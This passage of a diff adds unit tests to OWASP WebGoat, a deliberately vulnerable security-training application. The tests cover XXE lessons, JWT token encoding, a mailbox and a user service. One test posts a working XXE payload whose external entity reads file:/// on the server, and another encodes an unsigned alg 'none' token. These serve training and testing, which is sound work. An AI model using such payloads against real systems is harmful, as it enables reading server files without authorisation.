.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
|
||||
|
||||
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.[*].text").value(Matchers.hasItem("Hello World")));
|
||||
}
|
||||
|
||||
private int countComments() throws Exception {
|
||||
var response = mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
return new ObjectMapper().reader().readTree(response.getResponse().getContentAsString()).size();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingInvalidJsonShouldNotAddComment() throws Exception {
|
||||
var numberOfComments = countComments();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content("{ 'text' : 'Wrong'"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
|
||||
|
||||
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(jsonPath("$.[*]").value(Matchers.hasSize(numberOfComments)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,86 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.xxe;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 11/2/17.
|
||||
*/
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class SimpleXXETest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new XXE());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void workingAttack() throws Exception {
|
||||
//Call with XXE injection
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
|
||||
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingJsonCommentShouldNotSolveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
|
||||
.content("<comment><text>test</ext></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingXmlCommentWithoutXXEShouldNotSolveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
|
||||
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><comment><text>&root;</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingPlainTextShouldShwoException() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
|
||||
.content("test"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.startsWith("javax.xml.bind.UnmarshalException\\n - with linked exception")))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,10 @@
|
||||
package org.owasp.webgoat.webwolf;
|
||||
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.PropertySource;
|
||||
|
||||
@SpringBootApplication(scanBasePackages = "org.owasp.webgoat.webwolf")
|
||||
@PropertySource("classpath:application-webwolf.properties")
|
||||
public class WebWolfApplication {
|
||||
|
||||
}
|
@ -0,0 +1,76 @@
|
||||
package org.owasp.webgoat.webwolf.jwt;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
|
||||
class JWTTokenTest {
|
||||
|
||||
@Test
|
||||
void encodeCorrectTokenWithoutSignature() {
|
||||
var headers = Map.of("alg", "HS256", "typ", "JWT");
|
||||
var payload = Map.of("test", "test");
|
||||
var token = JWTToken.encode(toString(headers), toString(payload), "");
|
||||
|
||||
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoidGVzdCJ9");
|
||||
}
|
||||
|
||||
@Test
|
||||
void encodeCorrectTokenWithSignature() {
|
||||
var headers = Map.of("alg", "HS256", "typ", "JWT");
|
||||
var payload = Map.of("test", "test");
|
||||
var token = JWTToken.encode(toString(headers), toString(payload), "webgoat");
|
||||
|
||||
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoidGVzdCJ9.axNp9BkswwK_YRF2URJ5P1UejQNYZbK4qYcMnkusg6I");
|
||||
}
|
||||
|
||||
@Test
|
||||
void encodeTokenWithNonJsonInput() {
|
||||
var token = JWTToken.encode("aaa", "bbb", "test");
|
||||
|
||||
assertThat(token.getEncoded()).isNullOrEmpty();
|
||||
}
|
||||
|
||||
@Test
|
||||
void decodeValidSignedToken() {
|
||||
var token = JWTToken.decode("eyJhbGciOiJIUzI1NiJ9.eyJ0ZXN0IjoidGVzdCJ9.KOobRHDYyaesV_doOk11XXGKSONwzllraAaqqM4VFE4", "test");
|
||||
|
||||
assertThat(token.getHeader()).contains("\"alg\" : \"HS256\"");
|
||||
assertThat(token.isSignatureValid()).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void decodeInvalidSignedToken() {
|
||||
var token = JWTToken.decode("eyJhbGciOiJIUzI1NiJ9.eyJ0ZXsdfdfsaasfddfasN0IjoidGVzdCJ9.KOobRHDYyaesV_doOk11XXGKSONwzllraAaqqM4VFE4", "");
|
||||
|
||||
assertThat(token.getHeader()).contains("\"alg\" : \"HS256\"");
|
||||
assertThat(token.getPayload()).contains("{\"te");
|
||||
}
|
||||
|
||||
@Test
|
||||
void onlyEncodeWhenHeaderOrPayloadIsPresent() {
|
||||
var token = JWTToken.encode("", "", "");
|
||||
|
||||
assertThat(token.getEncoded()).isNullOrEmpty();
|
||||
}
|
||||
|
||||
@Test
|
||||
void encodeAlgNone() {
|
||||
var headers = Map.of("alg", "none");
|
||||
var payload = Map.of("test", "test");
|
||||
var token = JWTToken.encode(toString(headers), toString(payload), "test");
|
||||
|
||||
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJub25lIn0.eyJ0ZXN0IjoidGVzdCJ9");
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private String toString(Map<String, String> map) {
|
||||
var mapper = new ObjectMapper();
|
||||
return mapper.writeValueAsString(map);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,122 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.webwolf.mailbox;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.google.common.collect.Lists;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.webwolf.user.UserService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.security.test.context.support.WithMockUser;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.format.DateTimeFormatter;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.CoreMatchers.not;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
|
||||
|
||||
@WebMvcTest(MailboxController.class)
|
||||
public class MailboxControllerTest {
|
||||
|
||||
@Autowired
|
||||
private MockMvc mvc;
|
||||
@MockBean
|
||||
private MailboxRepository mailbox;
|
||||
@MockBean
|
||||
private UserService userService;
|
||||
@Autowired
|
||||
private ObjectMapper objectMapper;
|
||||
|
||||
@JsonIgnoreProperties("time")
|
||||
public static class EmailMixIn {
|
||||
}
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
objectMapper.addMixIn(Email.class, EmailMixIn.class);
|
||||
}
|
||||
|
||||
@Test
|
||||
@WithMockUser
|
||||
public void sendingMailShouldStoreIt() throws Exception {
|
||||
Email email = Email.builder()
|
||||
.contents("This is a test mail")
|
||||
.recipient("test1234@webgoat.org")
|
||||
.sender("hacker@webgoat.org")
|
||||
.title("Click this mail")
|
||||
.time(LocalDateTime.now())
|
||||
.build();
|
||||
this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))
|
||||
.andExpect(status().isCreated());
|
||||
}
|
||||
|
||||
@Test
|
||||
@WithMockUser(username = "test1234")
|
||||
public void userShouldBeAbleToReadOwnEmail() throws Exception {
|
||||
Email email = Email.builder()
|
||||
.contents("This is a test mail")
|
||||
.recipient("test1234@webgoat.org")
|
||||
.sender("hacker@webgoat.org")
|
||||
.title("Click this mail")
|
||||
.time(LocalDateTime.now())
|
||||
.build();
|
||||
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
|
||||
|
||||
this.mvc.perform(get("/mail"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("mailbox"))
|
||||
.andExpect(content().string(containsString("Click this mail")))
|
||||
.andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp()))));
|
||||
}
|
||||
|
||||
@Test
|
||||
@WithMockUser(username = "test1233")
|
||||
public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {
|
||||
Email email = Email.builder()
|
||||
.contents("This is a test mail")
|
||||
.recipient("test1234@webgoat.org")
|
||||
.sender("hacker@webgoat.org")
|
||||
.title("Click this mail")
|
||||
.time(LocalDateTime.now())
|
||||
.build();
|
||||
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
|
||||
|
||||
this.mvc.perform(get("/mail"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("mailbox"))
|
||||
.andExpect(content().string(not(containsString("Click this mail"))));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.webwolf.mailbox;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.List;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
@DataJpaTest
|
||||
public class MailboxRepositoryTest {
|
||||
|
||||
@Autowired
|
||||
private MailboxRepository mailboxRepository;
|
||||
|
||||
@Test
|
||||
void emailShouldBeSaved() {
|
||||
Email email = new Email();
|
||||
email.setTime(LocalDateTime.now());
|
||||
email.setTitle("test");
|
||||
email.setSender("test@test.com");
|
||||
email.setContents("test");
|
||||
email.setRecipient("someone@webwolf.org");
|
||||
mailboxRepository.save(email);
|
||||
}
|
||||
|
||||
@Test
|
||||
void savedEmailShouldBeFoundByReceipient() {
|
||||
Email email = new Email();
|
||||
email.setTime(LocalDateTime.now());
|
||||
email.setTitle("test");
|
||||
email.setSender("test@test.com");
|
||||
email.setContents("test");
|
||||
email.setRecipient("someone@webwolf.org");
|
||||
mailboxRepository.saveAndFlush(email);
|
||||
|
||||
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc("someone@webwolf.org");
|
||||
|
||||
assertEquals(emails.size(), 1);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,79 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.webwolf.user;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.times;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class UserServiceTest {
|
||||
|
||||
@Mock
|
||||
private UserRepository mockUserRepository;
|
||||
|
||||
@InjectMocks
|
||||
private UserService sut;
|
||||
|
||||
@Test
|
||||
public void testLoadUserByUsername(){
|
||||
var username = "guest";
|
||||
var password = "123";
|
||||
WebGoatUser user = new WebGoatUser(username, password);
|
||||
when(mockUserRepository.findByUsername(username)).thenReturn(user);
|
||||
|
||||
var webGoatUser = sut.loadUserByUsername(username);
|
||||
|
||||
Assertions.assertThat(username).isEqualTo(webGoatUser.getUsername());
|
||||
Assertions.assertThat(password).isEqualTo(webGoatUser.getPassword());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testLoadUserByUsername_NULL(){
|
||||
var username = "guest";
|
||||
|
||||
when(mockUserRepository.findByUsername(username)).thenReturn(null);
|
||||
|
||||
assertThrows(UsernameNotFoundException.class, ()->sut.loadUserByUsername(username));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testAddUser(){
|
||||
var username = "guest";
|
||||
var password = "guest";
|
||||
|
||||
sut.addUser(username, password);
|
||||
|
||||
verify(mockUserRepository, times(1)).save(any(WebGoatUser.class));
|
||||
}
|
||||
}
|
8
src/test/resources/application-webgoat-test.properties
Normal file
8
src/test/resources/application-webgoat-test.properties
Normal file
@ -0,0 +1,8 @@
|
||||
webgoat.user.directory=${java.io.tmpdir}
|
||||
|
||||
spring.datasource.url=jdbc:hsqldb:mem:test
|
||||
spring.flyway.locations=classpath:/db/container
|
||||
spring.main.banner-mode=off
|
||||
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||
|
||||
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
9
src/test/resources/application-webwolf.properties
Normal file
9
src/test/resources/application-webwolf.properties
Normal file
@ -0,0 +1,9 @@
|
||||
webgoat.user.directory=${java.io.tmpdir}
|
||||
|
||||
spring.datasource.url=jdbc:hsqldb:mem:test
|
||||
spring.flyway.locations=classpath:/db/container
|
||||
spring.main.banner-mode=off
|
||||
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||
spring.thymeleaf.prefix=classpath:/webwolf/templates/
|
||||
|
||||
|
15
src/test/resources/logback-test.xml
Normal file
15
src/test/resources/logback-test.xml
Normal file
@ -0,0 +1,15 @@
|
||||
<configuration />
|
||||
|
||||
<!--
|
||||
Enable below if you want to debug a unit test and see why the controller fails the configuration above is there
|
||||
to keep the Travis build going otherwise it fails with too much logging.
|
||||
//TODO we should use a different Spring profile for Travis
|
||||
-->
|
||||
|
||||
<!--
|
||||
<configuration>
|
||||
<include resource="org/springframework/boot/logging/logback/base.xml"/>
|
||||
<logger name="org.springframework.web" level="DEBUG"/>
|
||||
</configuration>
|
||||
|
||||
-->
|
Reference in New Issue
Block a user